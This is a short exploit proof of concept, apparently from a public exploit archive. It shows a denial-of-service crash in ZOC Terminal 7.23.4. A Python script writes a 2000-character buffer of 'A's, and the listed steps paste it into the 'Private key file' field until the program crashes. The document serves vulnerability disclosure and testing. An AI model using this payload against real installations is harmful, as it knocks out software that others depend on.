#Exploit Title:ZOC Terminal v7.23.4- 'Private key file' Denial of Service (PoC)#Discovery by: Victor Mondragón#Discovery Date: 2019-05-15#Vendor Homepage: https://www.emtec.com#Software Link: http://www.emtec.com/downloads/zoc/zoc7234_x64.exe#Tested Version: 7.23.4#Tested on: Windows 7 Service Pack 1 x64#Steps to produce the crash:#1.- Run python code: ZOC_Terminal_pkf.py#2.- Open zoc_pkf.txt and copy content to clipboard#3.- Open ZOC Terminal#4.- Select File > Create SSH Key Files... #5.- Select "Private key file:" field erease and Paste ClipBoard #6.- Click on "Create public/private key files..."#7.- Crashed
cod = "\x41"* 2000
f = open('zoc_pkf.txt','w')
f.write(cod)
f.close()